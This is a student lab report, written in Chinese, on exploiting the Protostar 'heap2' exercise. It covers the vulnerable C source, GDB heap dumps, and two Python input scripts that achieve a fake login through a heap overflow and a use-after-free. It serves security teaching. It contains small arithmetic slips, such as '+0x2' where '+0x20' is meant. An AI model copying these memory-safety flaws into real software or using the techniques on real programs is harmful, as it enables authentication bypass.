CS3312 Lab Report Heap2

Osamu Takenaka 520030990026

源码分析

C代码:

```c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

struct auth {
    char name[32];
    int auth;
};

struct auth *auth;
char *service;

int main(int argc, char **argv)
{
    char line[128];

    while(1) {
        printf("[ auth = %p, service = %p ]\n", auth, service);

        if(fgets(line, sizeof(line), stdin) == NULL) break;

        if(strncmp(line, "auth ", 5) == 0) {
            auth = malloc(sizeof(auth));
            memset(auth, 0, sizeof(auth));
            if(strlen(line + 5) < 31) {
                strcpy(auth->name, line + 5);
            }
        }
        if(strncmp(line, "reset", 5) == 0) {
            free(auth);
        }
        if(strncmp(line, "service", 6) == 0) {
            service = strdup(line + 7);
        }
        if(strncmp(line, "login", 5) == 0) {
            if(auth->auth) {
                printf("you have logged in already!\n");
            } else {
                printf("please enter your password\n");
            }
        }
    }
}
```

代码行为:

- 代码首先定义了一个 `auth` 结构体和一个 `service` 字符串。
- 然后进入一个无限循环，每次循环都会输出 `auth` 和 `service` 的地址。
- 然后通过 `fgets` 读取用户输入的命令。
- 如果输入的命令以 `auth` 开头，就会分配一个 `auth` 结构体的内存，然后将输入的用户名拷贝到 `auth->name` 中。
- 如果输入的命令以 `reset` 开头，就会释放 `auth` 的内存。
- 如果输入的命令以 `service` 开头，就会将输入的服务名拷贝到 `service` 中。
- 如果输入的命令以 `login` 开头，就会判断 `auth->auth` 是否为真，如果为真就输出 `you have logged in already!`，否则输出 `please enter your password`。

漏洞分析:

- 这个实验是典型的 `UAF (Use After Free)` 漏洞，我们的最终目的是要让程序输出 `you have logged in already!`，这个输出是在 `if(auth->auth)` 这个条件下输出的，所以我们需要让 `auth->auth` 为真。

攻击方法:

- 第一种攻击方法比较简单，由于其本身程序存在问题，即 `memset(auth, 0, sizeof(auth))` 这句话里的 `sizeof(auth)` 本意应为 `sizeof(struct auth)`，这样 `auth` 的大小才是32+4=36，而这里的 `auth` 被识别为指针，大小为4，所以实际上这里只分配了4个字节的内存，而 `auth->auth` 的偏移为32(也就是实际上还没分配的区域)，所以我们可以通过 `service` 向堆管理器申请内存，并让 `service` 的内容尽可能长(`service` 程序里没有检查长度)，覆盖 `auth->auth` 所指向的内存区域，使其为真。
- 第二种方法是利用 `UAF` 漏洞，在我们将 `auth` 被 `reset` 后，虽然内存区域被标记为释放，但是指针 `auth` 仍然指向这个内存区域，这时我们敲入 `service`，会通过 `strdup` 函数分配一块内存给 `service`，而这块内存正会在原来 `auth` 的内存区域中，这时我们就可以通过不断地申请 `service` 来覆盖 `auth->auth` 的值，使其为真。

GDB调试

```
(gdb) r
Starting program: /opt/protostar/bin/heap2
[ auth = (nil), service = (nil) ]
auth alice
[ auth = 0x804c008, service = (nil) ]
^C
Program received signal SIGINT, Interrupt.
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82      ../sysdeps/unix/syscall-template.S: No such file or directory.
        in ../sysdeps/unix/syscall-template.S
Current language:  auto
The current source language is "auto; currently asm".
(gdb) info proc map
process 18375
cmdline = '/opt/protostar/bin/heap2'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/heap2'
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x804b000     0x3000          0       /opt/protostar/bin/heap2
         0x804b000  0x804c000     0x1000     0x3000       /opt/protostar/bin/heap2
         0x804c000  0x804d000     0x1000          0           [heap]
        0xb7e96000 0xb7e97000     0x1000          0
        0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
        0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
        0xb7fd9000 0xb7fdc000     0x3000          0
        0xb7fde000 0xb7fe2000     0x4000          0
        0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
        0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
        0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
        0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
        0xbffeb000 0xc0000000    0x15000          0           [stack]
(gdb)
```

输入 `auth alice`，然后查看堆顶的地址，可以看到是 `0x804c000`， `auth` 的地址是 `0x804c008`，

打印相关区域，

```
(gdb) x/32xw 0x804c000
0x804c000:      0x00000000      0x00000011      0x63696c61      0x00000a65
0x804c010:      0x00000000      0x00000ff1      0x00000000      0x00000000
0x804c020:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c030:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c040:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c050:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c070:      0x00000000      0x00000000      0x00000000      0x00000000
```

这里介绍两种方法，

方法一：堆溢出（实际为程序本身的缺陷）

刚刚提到的这里源代码的问题导致 `auth` 被识别为指针，只分配了4个字节的内存，可以计算出 `auth->auth` 实际上指向的内存是 `0x804c008+0x2=0x804c028`，但是实际上堆管理器此时认为这块内存没有被分配，所以我们可以通过 `service` 向堆管理器申请区域来将 `auth->auth` 包含在内，随后输入内容，就可以让 `auth->auth` 为真，

接下来我们只申请一块 `service` 然后让其内容比较长来覆盖 `auth->auth` 的区域（ `0x804c028` ），

```
(gdb) c
Continuing.
service aaaabbbbccccddddeeee
[ auth = 0x804c008, service = 0x804c018 ]
^C
Program received signal SIGINT, Interrupt.
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82      in ../sysdeps/unix/syscall-template.S
(gdb) x/32xw 0x804c000
0x804c000:      0x00000000      0x00000011      0x63696c61      0x00000a65
0x804c010:      0x00000000      0x00000021      0x61616120      0x62626261
0x804c020:      0x63636362      0x64646463      0x65656564      0x00000a65
0x804c030:      0x00000000      0x00000fd1      0x00000000      0x00000000
0x804c040:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c050:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c070:      0x00000000      0x00000000      0x00000000      0x00000000
(gdb) c
Continuing.
login
you have logged in already!
[ auth = 0x804c008, service = 0x804c018 ]
```

可以看到这里 `auth->auth`（`0x0x804c028`)的值被修改为 `0x65656564`，即为真，输出了 `you have logged in already!`

方法二：UAF

```
(gdb) x/s 0x804c008
0x804c008:      "alice\n"
```

可以看到刚刚输入的 `"alice\n"`，接下来我们 `reset` 看一下，

```
reset
[ auth = 0x804c008, service = (nil) ]
^C
Program received signal SIGINT, Interrupt.
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82      in ../sysdeps/unix/syscall-template.S
(gdb) x/32xw 0x804c000
0x804c000:      0x00000000      0x00000011      0x00000000      0x00000a65
0x804c010:      0x00000000      0x00000ff1      0x00000000      0x00000000
0x804c020:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c030:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c040:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c050:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c070:      0x00000000      0x00000000      0x00000000      0x00000000
```

我们发现 `0x804c008` 到 `0x804c00b` 被清空为 `0` 了，但是末尾的 `'\x65'` 和 `'\x0a'` 即 `"e\n"` 还残留着，这是因为刚刚提到的这里源代码的问题导致 `auth` 被识别为指针，只分配了4个字节的内存，所以 `free` 也只清空4个字节的内存。

由于这里指针 `auth` 依然指向这个内存区域，可以计算出 `auth->auth` 实际上指向的内存是 `0x804c008+0x2=0x804c028`，我们可以通过不断向 `service` 来向堆管理器申请区域来将 `auth->auth` 包含在内，就可以让 `auth->auth` 为真，从而输出 `you have logged in already!`。

```
service aaa
[ auth = 0x804c008, service = 0x804c008 ]
service bbb
[ auth = 0x804c008, service = 0x804c018 ]
service ccc
[ auth = 0x804c008, service = 0x804c028 ]
^C
Program received signal SIGINT, Interrupt.
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82      ../sysdeps/unix/syscall-template.S: No such file or directory.
        in ../sysdeps/unix/syscall-template.S
Current language:  auto
The current source language is "auto; currently asm".
(gdb) x/32xw 0x804c000
0x804c000:      0x00000000      0x00000011      0x61616120      0x0000000a
0x804c010:      0x00000000      0x00000011      0x62626220      0x0000000a
0x804c020:      0x00000000      0x00000011      0x63636320      0x0000000a
0x804c030:      0x00000000      0x00000fd1      0x00000000      0x00000000
0x804c040:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c050:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c070:      0x00000000      0x00000000      0x00000000      0x00000000
(gdb) c
Continuing.
login
you have logged in already!
[ auth = 0x804c008, service = 0x804c028 ]
```

可以看到我们申请了3次 `service`，最后 `auth->auth`（`0x804c028`）的值被修改为 `0x63636320`（即第三次 `service` 的内容 `"ccc"`），即为真，输出了 `you have logged in already!`

攻击脚本内容

方法一: 堆溢出（实际为程序本身的缺陷）

script_heap2-method1.py:

```
cmd_0 = "auth alice\n"
cmd_1 = "service aaaabbbbccccddddeeee\n"
cmd_2 = "login"
print cmd_0 + cmd_1 + cmd_2
```

在终端中运行：

```
python /opt/protostar/script/heap/script_heap2-method1.py | /opt/protostar/bin/heap2
```

方法二: UAF

script_heap2-method2.py:

```
cmd_0 = "auth alice\n"
cmd_1 = "reset\n"
cmd_2 = "service aaa\n"
cmd_3 = "service bbb\n"
cmd_4 = "service ccc\n"
cmd_5 = "login"
print cmd_0 + cmd_1 + cmd_2 + cmd_3 + cmd_4 + cmd_5
```

在终端中运行：

```
python /opt/protostar/script/heap/script_heap2-method2.py | /opt/protostar/bin/heap2
```

结果（非GDB环境）


root@protostar:/opt/protostar/script/heap# python /opt/protostar/script/heap/script_heap2-method1.py | /opt/protostar/bin/heap2
[auth = (nil), service = (nil)]
[auth = 0x804c008, service = (nil)]
[auth = 0x804c008, service = 0x804c018]
you have logged in already!
[auth = 0x804c008, service = 0x804c018]
root@protostar:/opt/protostar/script/heap# python /opt/protostar/script/heap/script_heap2-method2.py | /opt/protostar/bin/heap2
[auth = (nil), service = (nil)]
[auth = 0x804c008, service = (nil)]
[auth = 0x804c008, service = (nil)]
[auth = 0x804c008, service = 0x804c008]
[auth = 0x804c008, service = 0x804c018]
[auth = 0x804c008, service = 0x804c028]
you have logged in already!
[auth = 0x804c008, service = 0x804c028]
root@protostar:/opt/protostar/script/heap#

两种方法都攻击成功